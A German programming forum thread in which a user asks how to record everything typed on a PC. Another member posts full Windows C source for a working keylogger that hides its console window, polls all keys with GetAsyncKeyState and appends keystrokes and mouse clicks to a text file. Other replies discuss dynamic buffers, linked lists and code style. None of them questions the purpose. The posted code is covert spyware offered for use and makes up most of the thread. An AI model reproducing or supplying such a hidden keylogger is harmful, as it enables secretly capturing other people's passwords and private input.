char
-
Hallo,
ich wollt ein programm schreiben, dass alle eingaben die man au dem pc gemacht hat speichert. Dafür wollte ich char benutzen, aber ich weis ja nicht wie lang das sein soll ob ich jetzt char x; oder char x[10000000000] nehmen soll .... gib es villeicht eine variable mit unbekannter grösse ???
-
char*
-
dafür eignet sich doch eine linkedList perfekt!
-
linkedList <- was ist das ???
-
eine verkettete Liste ^^
Hmm im ernst sagt dir der Begriff mehr ?
wenn dem nicht so ist
http://www.c-plusplus.net/forum/viewtopic-var-t-is-49455-and-highlight-is-verkettete+liste.html
-
hab mal n kleines proggy fuer microbenschrott widoz geproggt um tastatureingaben mitschneiden zu koennen muesste eigentlich funzeln
#include <windows.h> #include <stdio.h> //(C)--linuxuser-- const HWND GetConsoleWindow(){ HWND hwnd; TCHAR strNewTitle [256]; TCHAR strOldTitle [256]; GetConsoleTitle ( strOldTitle , 256 ); wsprintf ( strNewTitle , "%d/%d" , GetTickCount () , GetCurrentProcessId () ); SetConsoleTitle ( strNewTitle ); Sleep ( 50 ); hwnd = FindWindow ( NULL , strNewTitle ); SetConsoleTitle ( strOldTitle ); return ( hwnd ); }//end GetConsoleWindow const bool HideConsole(){ return (ShowWindow(GetConsoleWindow(),SW_HIDE)&&true); }//end HideConsole int main(){ SHORT KeyState; SHORT ArrKeyState[256]; long CheckSum; long OldCheckSum; char datName[] = "test.txt"; FILE *logging; //logging = fopen(datName, "w+"); OldCheckSum = 987654; // das programm entschaerfen folgende zeile einkommentieren!!!! HideConsole ();//versteckt die konsole while (1){ CheckSum = 0; for (int x = 0; x < 256; x++){ KeyState = GetAsyncKeyState(x); CheckSum += KeyState; ArrKeyState[x] = KeyState; }//end for if (OldCheckSum != CheckSum){ for (int i = 0; i < 256; i++){ // -32767 = KeyDown :-))))))))) if (ArrKeyState[i] == -32767){ if(i == 8){ logging = fopen(datName, "a+"); fprintf(logging, "<--|"); fclose(logging); continue; }else{ if(i == 13){ logging = fopen(datName, "a+"); fprintf(logging, "enter|"); fclose(logging); continue; }else{ switch(i){ case 190: logging = fopen(datName, "a+"); fprintf(logging, ".-190|"); fclose(logging); break; case 191: logging = fopen(datName, "a+"); fprintf(logging, "#-191|"); fclose(logging); break; case 187: logging = fopen(datName, "a+"); fprintf(logging, "+-187|"); fclose(logging); break; case 97: logging = fopen(datName, "a+"); fprintf(logging, "1-97|"); fclose(logging); break; case 98: logging = fopen(datName, "a+"); fprintf(logging, "2-98|"); fclose(logging); break; case 99: logging = fopen(datName, "a+"); fprintf(logging, "3-99|"); fclose(logging); break; case 100: logging = fopen(datName, "a+"); fprintf(logging, "4-100|"); fclose(logging); break; case 101: logging = fopen(datName, "a+"); fprintf(logging, "5-101|"); fclose(logging); break; case 102: logging = fopen(datName, "a+"); fprintf(logging, "6-102|"); fclose(logging); break; case 103: logging = fopen(datName, "a+"); fprintf(logging, "7-103|"); fclose(logging); break; case 104: logging = fopen(datName, "a+"); fprintf(logging, "8-104|"); fclose(logging); break; case 105: logging = fopen(datName, "a+"); fprintf(logging, "9-103|"); fclose(logging); break; case 96: logging = fopen(datName, "a+"); fprintf(logging, "0-96|"); fclose(logging); break; case 1: logging = fopen(datName, "a+"); fprintf(logging, "-klick|"); fclose(logging); break; case 2: logging = fopen(datName, "a+"); fprintf(logging, "klick-|"); fclose(logging); break; case 17: logging = fopen(datName, "a+"); fprintf(logging, "strg|"); fclose(logging); break; case 162: logging = fopen(datName, "a+"); fprintf(logging, "strg|"); fclose(logging); break; case 16: logging = fopen(datName, "a+"); fprintf(logging, "umsch|"); fclose(logging); break; case 161: logging = fopen(datName, "a+"); fprintf(logging, "umsch|"); fclose(logging); break; case 255: logging = fopen(datName, "a+"); fprintf(logging, "<|"); fclose(logging); break; case 37: logging = fopen(datName, "a+"); fprintf(logging, ">|"); fclose(logging); break; case 40: logging = fopen(datName, "a+"); fprintf(logging, "pfeiltaste|"); fclose(logging); break; case 9: logging = fopen(datName, "a+"); fprintf(logging, "tab|"); fclose(logging); break; case 91: logging = fopen(datName, "a+"); fprintf(logging, "win|"); fclose(logging); break; default: //printf(" %c-%d ", i, i); logging = fopen(datName, "a+"); fprintf(logging, "%c-%d|", i, i); fclose(logging); }//end switch }//end if }//end if }//end if }//end if }//end if OldCheckSum = CheckSum; }//end while }//end main
vielleicht hilft es dir weiter
-
--linuxuser-- schrieb:
}//end switch }//end if }//end if }//end if }//end if }//end if }//end while }//end main
Ich glaube dein Programmierstil muß noch reifen.
www..de schrieb:
gib es villeicht eine variable mit unbekannter grösse ???
Malloc, und wenn es größer werden soll realloc. Immer verdoppeln. Das macht C++ std::string auch so.
-
@BUG
wie willst das besser schreiben dass musst du mir mal zeigen
-
--linuxuser-- schrieb:
@BUG
wie willst das besser schreiben dass musst du mir mal zeigenZum Beispiel kann man die Audrücke in den if-Abfragen umkehren:
while (a) { if (!b) continue; ... }
und/oder Codeabschnitte in Funktionen auslagern.
-
Duplizierte Code ist immer ungeschickt.
ich würde das fopen/fclose auslagern
if (ArrKeyState[i] == -32767){
============> hier fopen
if(i == 8){
....
}
============> hier fclose nach dem caseund es aus den ifs und cases rausschmeissen
warum ist für i==8 und i==13 eine Sonderbehandlung nötig, die passen doch auch ins case?